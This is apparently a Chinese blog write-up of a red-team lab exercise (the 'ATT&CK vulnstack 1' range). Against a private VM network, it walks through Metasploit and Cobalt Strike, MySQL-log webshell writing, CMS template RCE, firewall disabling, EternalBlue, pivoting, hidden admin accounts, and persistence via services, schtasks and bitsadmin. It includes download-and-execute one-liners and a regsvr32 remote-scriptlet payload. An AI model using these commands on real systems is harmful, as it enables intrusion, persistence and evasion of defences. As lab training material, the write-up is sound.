0%

ATT&CK靶场(1)练习

ATT&CK靶场(1)练习

更多的应该是工具入门和思路学习?对windows的漏洞及其原理所知甚少

工具入门

Meta Sploit Framework

简称msf,应该是最常用的工具了。遇到可能的洞的攻击手法即为msf一把梭
msf的常用模块为msfvenom和msfconsole,venom负责生成用于上线的木马,console则是主要交互手段

msfvenom

用于生成木马
使用方式为

msfvenom -p <payload> -o <output> -f <type> <key>=<value>
msfvenom -p windows/x64/meterpreter/bind_tcp -f exe -o sysupdate.exe lport=10000

msfconsole

基础命令

console中可以直接执行本机系统命令,也就是ifconfig之类的。在忘了ip的时候可以看一下。
对于监听的ip也可以使用对于网卡代替

Metasploit tip: Adapter names can be used for IP params
set LHOST eth0

试图攻击时使用search指令进行搜索可用的攻击模块
set unset用于设定攻击选项
options命令会展示当前模块下所有配置选项
使用use <module_name>进入对应模块
route print展示路由转发
jobs展示后台任务
kill停止后台任务

常用模块

模块好多,我也不知道常用的有哪些。。。
exploit/mutil/handler接受会话,应该是最常用的吧
post/windows/gather/arp_scannerauxiliary/scanner/portscan/tcp两个模块进行扫描,可以配合session的路由转发扫描内网
auxiliary/server/socks4a和CS类似开启一个socks4的代理,但由于其本身可以使用session进行路由转发,若不需要给其他软件开代理则不需要使用。且socks4的代理不是很行

会话操作

msf将上线的机器称之为session
使用sessions列出当前所有会话,sessions 1进入会话1
需注意在会话中只能进行相应的会话操作,无法使用msfconsole中的命令,回到console请使用background,缩写bg,使用exit会导致断开连接
接受木马使用exploit/mutil/handler,选择payload类型。对于反向连接的木马启动时可以使用run -j将其作为一个后台任务运行。
需要注意payload类型与生成的木马类型需完全一致,windows/x64/meterpreter/bind_tcp无法接收windows/meterpreter/bind_tcp的会话

image-20220430153616790

会话中也可以简单的使用upload download等语句上传下载文件,ps查看进程,ls查看目录等

会话中常使用msf自带的脚本进行攻击。msf会话有多种形式,最好用的即为meterpreter类型,可以执行msf的进一步操作,而其他的如普通shell则只能当一个shell使用

常用功能有get_local_subnets获取子网网段,getsystem提权到system,getuid查看当前权限,killav关闭杀软等
autoroute,可以以受害者为跳板进行内网转发。非常好用(就是有时候似乎不是很稳,玄学网络)

run autoroute -s x.x.x.x/24
run autoroute -p

在msfconsole中输入route print也可以查看当前路由情况

同时还有两个维持权限的脚本(简单测试一下发现不好用。。。)
persistencemetsvc
run persistence -X -p 4444 -r 192.168.52.143
这个是改注册表项,HKLM\Software\Microsoft\Windows\CurrentVersion\Run
创建一个反弹shell,-X指定后门在系统启动时启动,暂时没找到怎么创建一个正向shell,这里有一层内网不能直接弹出来,但是可以用之前的边缘机,直接在边缘机上起一个handler监听。msf支持将handler监听建立在被控制主机上

run metsvc安装系统服务后门,暂时没找到有哪些参数可选,在系统启动时启动一个服务正向监听端口
按照官方的说法,这里连上去的payload应该是windows/metsvc_bind_tcp,但实际上我连的时候会各种dead。。。防火墙已经被关掉了来着。不知道什么原因

使用shell命令则打开一个cmd line,但是有中文乱码,使用chcp 65001切换编码(大概)就行

Cobalt Strike

简称CS,团队服务器,可以几个人连着一个服务器一起日,并且是图形化界面,可以点点点

这里似乎将每个控制的机器称为beacon,功能也很多,不过相较于msf能直接打一堆利用模块,CS更倾向于专注windows渗透,好像没有什么linux相关的功能。

listener模块

CS使用listener代替msf的handler。CS的listener种类较少,但较为通用,不会出现msf中payload和handler有一点点差别就连不上的情况。还提供了foreign handler用于会话转移。可以将CS中上线的机器连上msf进行进一步渗透
Session Passing from Cobalt Strike
msf应当使用符合类型的handler进行接收

attack模块

上线也需传一个马上去回连,在顶部栏attack处点击生成payload,需选择对应的listener接受。常用的有package下的后三个,以及web drive-by
package下的windows executeable是staged,这种马只是个加载器,需要后续加载其他功能(也许有一定的免杀能力),有(S)的是stageless的,就是打好包一把梭
payload generator处能产生各种语言的payload,在目标环境有命令执行和对应语言时能直接执行上线,谨防杀软

web drive-by用于进行一些web相关的交互,能建立文件服务器,构造钓鱼网站,或者说打一个script web deliver攻击,这个攻击也是命令行直接执行,做免杀处理
不过均需要目标机器能访问到CS服务器。内网环境下就不怎么好用了

常用命令

已上线的机器称为beacon,右键一个beacon,选择interact开始命令行交互
终端输入help获取帮助
cs为了隐蔽性,不建立长连接,而是beacon有一个睡眠时间,每隔多少时间向服务器发起一次回连,接受命令,并在下一次回连时返回结果。使用sleep命令控制beacon休眠时间,0则进入interactive模式。开启socks代理和远程桌面等功能均需要该选项

使用run或exec在目标机器上执行shell命令,exec不会返回结果,适合一些服务类型的命令

socks <port>命令会在team server上开启一个端口转发,使用之前需使用sleep 0将beacon调至interactive模式。为socks4代理。并不是很实用感觉

access下面主要用dump hashes或者run mimikatz抓密码。当然前提是这个beacon的权限足够
explore下可以连远程桌面,进行文件系统交互之类的,端口扫描功能较为常用,可以进行端口扫描和主机发现
pivoting用于开启代理转发,就是socks命令。需再次注意开启的是socks4
spawn用于会话转移

顶部栏

顶部栏中几个比较常用的功能有
查看网络拓扑图,查看beacon列表,查看targets,查看credentials

在targets中可以通过之前hashdump出来的凭据直接对域内机器发起攻击。jump选中一个凭据然后建立一个smb listener。一键上线

smb listener是正向监听的,不需要回连,也很适合这个内网环境。文章中一开始的拓扑逻辑即为边缘win7可出网反向链接,内网两台机子直接通过凭据登录进去smb正向连接

环境搭建

http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
大名鼎鼎的红日靶场环境,从这下。百度网盘十几个G,本来以为凉了,结果发现百度网盘调一下选项在开了允许p2p的情况下可以把速度提到2m/s,勉强可接受。

网络拓扑就是win7是边缘机器,内网一个winserver08一个03,08域控
win7和攻击者联通,位于同一网段内且可出网,同时win7连接内网windows server,内网无法出网
到VMware的虚拟网络编辑器单独开一个网段指定网段且仅主机模式不通外网,也不要把物理机连接到该网段
然后win7和kali直接接VMware的nat网段好了,方便联网出网,也符合环境定位。也没什么问题

网络拓扑如图,贴一个CS一键打穿画出来的拓扑

image-20220501160326834

但是有一点坑。。。好多服务不是开机自启动的,win7的服务需要手动进去开phpstudy。。。我就说怎么一开始没东西。windows server里的服务也要手动启动,但由于我不怎么会,后续没有打

拿下边缘机

假定先拿到目标网段不知道具体位置,练习nmap使用
直接nmap -h就能看到绝大多数的可选项了

nmap -sP 192.168.68.0/24用ping扫一轮。(直接ping扫有的究极防火墙可能扫不动。)
也可以直接扫的同时syn扫一轮常见端口
nmap -PS 192.168.68.0/24,VMware的内网快的一笔,扫的飞快,然而,实际上我去扫别人的时候各种原因扫的龟慢

然后用高强度攻击指令梭nmap -sV -A 192.168.68.140
-sV是尝试判断版本,-A是Enable OS detection, version detection, script scanning, and traceroutebuff拉满,扫描速度就慢了下来

PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45)
|_http-title: phpStudy \xE6\x8E\xA2\xE9\x92\x88 2014 
|_http-server-header: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
3306/tcp open  mysql   MySQL (unauthorized)

结果如上,直接指出了服务器的版本,mysql也对公网开放,后面跟了一个unauthorized,意思是未授权吗?实际上去连接的时候却报错Host '192.168.68.139' is not allowed to connect to this MySQL server,看这个样子是限制了可访问的ip的

看一眼web服务,是一个14年的phpstudy搭的PHP探针。有一个令人在意的功能,为mysql数据库连接测试,摸出来rouge MySQL trytry。能连上,但似乎并没有允许load local data,读不了。并且读文件也做不到rce,ctf思路有点重,百度这个14年的PHP探针得到的结果全都是配套的phpmyadmin弱密码rce(虽然这里确实是这么个做法),先扫描器开梭

简单的看了一下kali下的工具,结果都要提供字典。不如用御剑或者dirsearch自带字典开梭(然后把dirsearch的字典放进去了跑起来也报错。。。感觉不如。。。dirsearch。。。稳定性)

只能扫出来一个phpmyadmin(扫出来beifen.rar的字典真不是一般人)弱密码root/root进入。简单使用一下,有一个newyxcms数据库。里面有一个yx admin数据,密码md5拿到,cmd5搜一下收费记录,pmd5能搜出来,949ba59abbe56e05
执行SELECT @@secure_file_priv查看文件写入权限,为null,不给写。

突破secure_file_priv写文件

Mysql写文件
在能够堆叠注入或是直接执行SQL语句时可以通过日志文件的方式进行数据的写入,虽然会有一些杂数据,但仅仅是PHP马的话还是没有问题的

general_log写入

这个是每一个查询都会写入,任意导致文件被写的很大,PHP对文件存在大小限制,过大则无法解析。故不常用,或者堆叠用完记得关。最好也把一开始的路径记下来还原回去

set global general_log = on;
set global general_log_file = 'C:/phpStudy/WWW/info.php';
select '';
set global general_log = off;

由于部署的PHP探针暴露了网站根目录位置,此处直接写入

long_query_time慢日志写入

前段时间学习过,MySQL对查询时间超出该变量限制的语句进行记录,默认为10s,正常运行很少触发该情形,故日志文件大小可控。(其实默认是关了慢日志的)

show variables like '%slow_query_log%';
set global slow_query_log=1;
set global slow_query_log_file='C:/phpStudy/WWW/shell.php';
select '' or sleep(11);    

这里有一个巨坑。。。之前应该是为了下插件给蚁剑开了代理,导致我局域网实际上这个内网访问不到一直连不上。。。排查了半天

yxcms弱密码进入后台

之前提到过在phpmyadmin处已经拿了个shell了,也顺手拿到了密码的hash
这下来打一下这个yxcms(这个cms本身需要扫到yxcms这个目录?)因为打开时的默认页面是个PHP探针来着。然而这个hash不能直接打,套的有东西。并且这个太默认了一点,上来都给密码送出来了。。。感觉再垃圾的站应该也不会垃圾到这个程度了

image-20220426164243942

甚至告诉了后台入口,这里直接点页面上的登录按钮是有一个/yxcms/index.php?r=member/index/login的路由来处理的,将member改为admin进行管理员登录确实是一个可行思路

后台rce的话理论上来说是比较简单的,WordPress这种成熟框架到了后台也是任意rce的,毕竟谁防管理员呢?这里找一下可能的危险操作

最显眼的就是模板编辑了。选一个看起来比较通用的index_index.php,加一个一句话木马打通
然后看一下其他功能,有一个数据库操作,可以进行和phpmyadmin时一样的操作,还有一个应用导入,允许上传一个特定格式的安装包进行应用安装,也许研究一下格式可以传一个马上去

渗透环节

打一波cs玩一下捏
其实应该想看一下用户权限和域相关情况是不是域之类的(这里我也不知道他是怎么部署的环境,但是我开机的时候直接是域管的登录界面,我就直接登录域管了,所以也直接是域管权限。。。)

net view /domain
net user /domain
whoami /all

第一个命令在蚁剑的虚拟终端上跑不出来结果。蚁剑的虚拟终端在执行某些命令以及使用管道符等时有时候有问题,不知道他具体是怎么解析命令的,也许到这一步应该直接转战cs或者msf
whoami /all可以看用户权限,直接看到本地管理+域管双重无敌权限

上线之前先看一下有没有杀软之类的,因为有的话我就不会免杀了嘻嘻(也许能在蚁剑命令行直接关了杀软防火墙?)
windows直接tasklist /SVC看任务管理器,无杀软(说起来好像windows defender就算存在也找不到?不是很懂)。CS启动

先注册一个listener监听端口收shell,然后在Attacks里面直接生成一个Windows Executeable,因为没有杀软直接stageless一把梭。用蚁剑传到目标服务器后梭。然后发现蚁剑执行beacon.exe半天没有反应,回到网页上的webshell去直接执行,也没有用捏

进虚拟机排查原因,然后发现被究极防火墙拦了。。。这咋整啊

image-20220426200143080

翻出来一个手册内网信息收集之本机信息收集

但是我这个号是究极管理员来着,可以放行这个软件
netsh firewall add allowedprogram c:\phpstudy\www\beacon.exe "exploit" enable
这里有一个坑。。。描述字符串一定要用双引号包裹,用单引号包裹打了半天和我syntax error

甚至大力出奇迹,直接关掉防火墙
Windows Server 2003及之前的版本:
netsh firewall set opmode disable
Windows Server 2003之后的版本:
netsh advfirewall set allprofiles state off

成功上线,一开始生成的是32位的payload,一直没打通,然后生成了一个64位的就又打通了?理论上来说不应该64位是兼容32位的吗,总之这种东西玄学多多,多试几下

接下来应该想办法往内网打了,先部署一下nmap吧?

其实直接net user /domain,net time /domain之类的操作能直接看到域控名字,再ping一下就有ip了,或者nslookup反查,不过要发现域内全部主机的话,还是得扫的

内网代理&端口扫描

在CS终端中键入socks <port>以开启一个socks代理,使用之前需要先sleep 0将beacon调成实时交互的,然后在kali上使用proxychains工具进行流量转发
在proxychains profile的最后一行添加上CS服务器的IP和开启转发的端口即可

beacon> sleep 0
[*] Tasked beacon to become interactive
[+] host called home, sent: 16 bytes
beacon> socks 50000
[+] started SOCKS4a server on: 50000
[+] host called home, sent: 16 bytes

proxychains nmap -sT -Pn 192.168.52.0/24
因为CS开的是socks4的代理,只能转发tcp流量,所以需要添加-sT参数使用TCP扫描,而-Pn则是禁用ping

这里需要注意的是CS的socks命令是在CS服务器上开启一个代理端口,而不是被种了马的机器。。。。扫描效率奇低无比

直接用CS自带的扫描试试。不加端口就是主机探测。

beacon> portscan 192.168.52.0-192.168.52.255  arp 1024
[*] Tasked beacon to scan ports  on 192.168.52.0-192.168.52.255
[+] host called home, sent: 93245 bytes
[+] received output:
(ARP) Target '192.168.52.1' is alive. 00-50-56-C0-00-0B

[+] received output:
(ARP) Target '192.168.52.143' is alive. 00-0C-29-E9-6D-68
(ARP) Target '192.168.52.138' is alive. 00-0C-29-F6-F6-F0
(ARP) Target '192.168.52.141' is alive. 00-0C-29-71-10-BB

[+] received output:
(ARP) Target '192.168.52.254' is alive. 00-50-56-F1-E2-4B

[+] received output:
Scanner module is complete

143是本机,发现内网存在138和141两台机器,其中138是之前就已经知道是域控的机器(也可以直接使用net view命令进行主机发现)

简单扫端口,他这个端口是倒过来扫的,从高往低

但是想接着打还是不能就着CS的这个socks,太卡了。传一个earthworm上去试试吧。因为这里kali和win7边缘机是在一个网段的,最简单的情况,直接监听一个端口即可,从这里抄命令
内网穿透利器——EarthWorm
ew_win32.exe -s ssocksd -l 8888,记得再运行一次上面的指令把防火墙打开
这里CS最好用execute指令而不是run指令。。。不然ew代理时的输出会一直弹出来
这里重启了一下ew,抄两个杀进程指令,一个按名字杀一个按pid杀
Taskkill /IM firefox.exe /F
Taskkill /PID 26356 /F
proxychains的配置文件中需要将原先写的socks4改为socks5,ew是不支持socks4的(所以说CS只支持socks4还是有点过时了,一开始跑了半天代理都不通,最后直接上机子看才发现还有这种问题)

然后再try一try nmap。因为ew是socks5的代理,也就能支持udp等各种扫描了。结果ew代理也卡的一比,现在就要考虑是哪里出问题了,经过简单搜索后发现是proxychains的问题。其自带了一个超时设置,默认15s,nmap扫描出的没开的端口全都按超时处理。。。不卡才怪,调到0.1s之后急速扫描(也不是很急速吧。。。扫全部常用端口也要好几分钟。。。)就凑合着用CS的也一样,就少一点信息而已

会话转移

CS的功能感觉有限,因为有445端口,根据wp这里可以打永恒之蓝,转移到msf打
msf上线的方案也有多种,可以直接在CS里面设置一个foreign listener,这里直接选择reverse https。在msfconsole中启动一个对应的handler接受

也可以用msfvenom生成对应的马,这里试一下CS将会话转发给msf

use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set lhost 192.168.68.139
set lport 443
run

payload的类型要弄对。。。一开始填成了windows/x64/meterpreter/reverse_https,多了一个x64就跑不通了。。然后在CS中直接右键已有的session,spawn中选中配置的foreign listener即可,非常好用

msf利用ms08 068

msf也自带了主机发现和端口扫描功能,位于post/windows/gather/arp_scannerauxiliary/scanner/portscan/tcp,效率一般,且都不如nmap的buff加满的扫描能报告可能存在的洞。但感觉proxychains+nmap时受到扫描未开放端口时timeout的影响,不知道直接在被控制机器上装一个nmap是不是会快一点

两台机子都开了445端口,这个是经典windows smb服务,但具体是什么我也不会。。。
看答案是用的一个比较老的洞ms08-068和经典ms17 010永恒之蓝打的
可以直接search ms08 068找到msf对应的攻击模块
考虑网络拓扑模型,由于我们以边缘机win7位跳板发动攻击,内网机器无法访问外网,因此无法使用反弹的方式获取会话。这里的payload选择windows/meterprete/bind_tcp,以tcp正向连接的方式攻击

然而并没有打通。。。msf会显示一套payload打了过去,但是Exploit completed, but no session was created.,尝试再次攻击就会发现直接unreachable,直接打坏了,需要重启才能继续打。。。。计划不通,就当练习msf怎么用了

ms17010永恒之蓝

search ms17 010寻找可用模块
第一天把msf几个模块都打了一遍全都打不通。只有一个auxiliary/admin/smb/ms17_010_command能执行命令,生成session的全都不行。用这个命令上去把防火墙关了也不行
第二天用ps_exec+bind_tcp又突然打通了,概率事件。。。后来断了一次之后一模一样的payload又打不通了,感觉msf的转发不是很稳。概率事件。。。但是用CS的转发和earthworm之类的好像也没有稳定过,玄学。

直接用命令执行也能一句一句的打出来一个msf的session。具体见下文

权限维持

学习一下操作

建立隐藏用户

创建一个用户名以$结尾的用户不会被net user指令给发现,再偷偷的给这个号加进管理员

net user ghost$ ghost@dc2022 /add
net localgroup administrators ghost$ /add

实际上还是能在某些地方被看见,然后可以通过更为复杂的手段进行进一步隐藏
这里暂未学习(然后直接用这个号在CS上jump进去就行了,当然,也可以直接用之前域管的号)

创建系统服务

有session的情况下直接upload功能上传文件
由于永恒之蓝打进去就直接是SYSTEM权限,所以在接下来的利用过程中不会出现权限的问题。尝试创建一个开机自启服务以进行权限维持。考虑机器位于内网中,无法反向弹出shell,使用msfvenom创建一个正向连接的后门,监听在10000端口
同时上传文件后防火墙放行该程序,注意描述处需要使用双引号,路径处无需引号。

然后创建系统服务,注意几个赋值语句的等于号后都有一个空格

meterpreter > upload sysupdate.exe
meterpreter > shell
C:\Windows\system32>netsh firewall add allowedprogram C:\Windows\system32\sysupdate.exe "test" enable
C:\Windows\system32>sc create "SysUpdate" binpath= "C:\Windows\system32\sysupdate.exe"
C:\Windows\system32>sc description "SysUpdate" "system update"
C:\Windows\system32>sc config "SysUpdate" start= auto
C:\Windows\system32>net start "SysUpdate"

可以在运行services.msc查看已经成功添加了一个服务(但是这里的exe是我直接用msfvenom生成的。。。好像服务需要满足一定的接口所以跑不起来)

image-20220429172712073

用不了删除服务吧
sc delete "SysUpdate"

写入定时计划

schtasks /create /sc minute /mo 5 /tn "check update" /tr C:\Windows\syswow64\sysupdate.exe
这里也有一个坑,msf上传文件和显示的pwd都是C:\Windows\system32,就算指定上传到system32,最后实际上却传到的地方是C:\Windows\syswow64。
并且ls之类的实际上显示的都应当是syswow64的内容,但就是显示自己在system32目录中。。
就算在会话里输入shell进入一个windows shell里面,使用echo %cd%查看当前目录,得到的结果仍是system32。但实际上我进入虚拟机在文件系统里面翻了半天,最后发现上传的文件在syswow64中

踩了第二个坑,上述操作是对于某个用户创建一个定时计划,只在用户登录时运行。如果用户不登录,或者本身该账户就没有交互能力,则无法触发。永恒之蓝拿到的权限直接是SYSTEM,属于不可交互的用户,该命令无法完成利用
在图形界面中查看会看到如下内容

image-20220429210446446

该命令会勾选只在用户登录时运行,但实际上账户确是SYSTEM。也可以尝试指定上一步的影子用户创建定时任务。不过影子用户的话除了攻击者谁又会主动登录呢?

翻了下windows的手册,有提到如何使用系统账户创建服务,加上一个/ru SYSTEM即可
schtasks create

正向连接之前上传的木马,成功上线

image-20220429210911146

实际上msf自带了持久化功能,但是我试着把两个都run了一遍,反弹shell的毫无反应,监听端口的确实看到他开了端口监听,但是用他的metsvc_bind_tcp连上去连不上。。。

命令行文件下载

但这里是属于运气比较好,永恒之蓝某次人品爆炸打上去了,然后直接传了个文件,要是只有命令执行该怎么传文件呢

因为边缘机提供了web服务,所以可以直接把马传到边缘机上等待下载

powershell (new-object Net.WebClient).DownloadFile('http://192.168.52.143/sysupdate.exe','C:\sysupdate.exe')
bitsadmin /transfer myDownLoadJob /download /priority normal "http://192.168.52.143/sysupdate.exe" "C:\sysupdate.exe"
certutil -urlcache -split -f http://192.168.52.143/sysupdate.exe C:\sysupdate.exe
Start-BitsTransfer -Source "http://192.168.52.143/sysupdate.exe" -Destination "C:\sysupdate.exe" # 在win server2008上显示找不到

msf set command的时候要各种转义
下载的时候需要一点点时间,可以尝试set DELAY 5多停留一会

bitsadmin

原来这个东西不止能下文件,还能直接启动后门
这里的addfile理论上能下东西,下下来再执行恶意软件,也可以直接是一个无效的url(有待考证,建议使用有效url),主要的利用点在于SetNotifyCmdLine,此处可以启动其他地方的已经存在的后门软件,也可以尝试启动刚才下载的软件

bitsadmin /create backdoor
bitsadmin /addfile backdoor "http://192.168.52.143/sysupdate.exe"  "C:\backdoor.exe"
bitsadmin /SetNotifyCmdLine backdoor C:\backdoor.exe NUL
bitsadmin /SetMinRetryDelay "backdoor" 60 
bitsadmin /resume backdoor
bitsadmin /list # 列出任务
bitsadmin /reset # 全部清空
bitsadmin /complete <name> # 完成任务

但是实际上打了一轮屁用没有。。。正向还是反向都收不到。addfile那里的文件下载就没有看到有东西被下下来。。。使用list倒是能看到显示已经TRANSFERRED,但是并没有文件出现,也没有收到shell,也没有端口监听。。。只有使用complete命令文件就被下载下来了,但是此时这个任务也被结束退出掉了,不会出现接下来的启动了。。。所以不如直接用之前的bitsadmin /transfer进行下载,直接在SetNotifyCmdLine处触发。
这里再次吐槽一下内网转发,msf虽然显示能够通过session在内网进行端口监听收reverse_tcp,但是我从来没有成功过。。。还是bind_tcp正向连接比较靠谱

查到了某个文章。。。白浪费那么多时间。。。

Leveraging /SetNotifyCmdLine we issue the /Complete command and subsequently execute our payload. Without use of /Complete BITS will leave our files in a tmp state and not move them to the correct directory within the file system. This usage of /SetNotifyCmdLine along with /Complete seem to be missing from most examples of using this tool

这里还有一个全新的打法,因为刚才的打法需要文件落地,就要分成下载和利用两步。这里使用regsvr32.exe做到无文件落地的利用,整个流程只需要将SetNotifyCmdLine这一步的命令替换为msf对应handler中的输出即可
bitsadmin /SetNotifyCmdLine backdoor "regsvr32.exe" "/s /n /u /i:http://192.168.68.139:8080/B2U10FAqa8gY.sct scrobj.dll"
虽然无木马文件落地,但仍需要添加addfile才能运行,随便写个破烂url即可(但是实践时感觉不存在的破烂url有可能导致bitsadmin不会正常运行?)
msf中对应的handler为exploit/multi/script/web_delivery,用show targets查看可提供的payload类型
这里选择3,Regsvr32,不过这个打内网不太好打,因为需要目标直接回连msf。除非又整earthworm高强度打洞。这回确实看到回连了,但利用并未成功,进入目标一看PowerShell执行出错了,报错为模块已加载 但对dllinstall的调用失败。这就很难知道哪里出问题了,计划不通

为什么在这个奇怪的软件上花了这么多时间。。。。

CS jump一键打通

域环境下拿到一个域管号===无敌
直接就着边缘机扫描,从获取的target下直接拿域管账号登录,启用一个smb listener正向连接,psexec上线
而我们拿下的边缘机上去就是域管登录,web服务也是我用域管手动启动的,拿到shell之后直接域管权限。mimikatz急速获取凭据。直接用域管凭据畅通无阻,想登录哪就登录哪。

msf psexec怎么打都打不通

然后搜了一下msf的类似功能,也有一个模块,名为exploit/windows/smb/psexec,输入账号密码psexec进行移动,实战结果为,怎么打都打不通,正向反向都连不上。。。又是玄学内网?经典看到已经就着边缘机已经建立起的tcp连接,但是msf这边一直无法获取到session

参考链接

ATT&CK红队评估实战靶场(一)
ATT&CK 实战(一)
Temporal Persistence with bitsadmin and schtasks
Persistence – BITS Jobs
后渗透之meterpreter使用攻略
红队攻防之特殊场景上线cs和msf
MSF之命令笔记篇
那些年,我们追过的“蓝”
Windows下载执行命令大全
三大渗透测试框架权限维持技术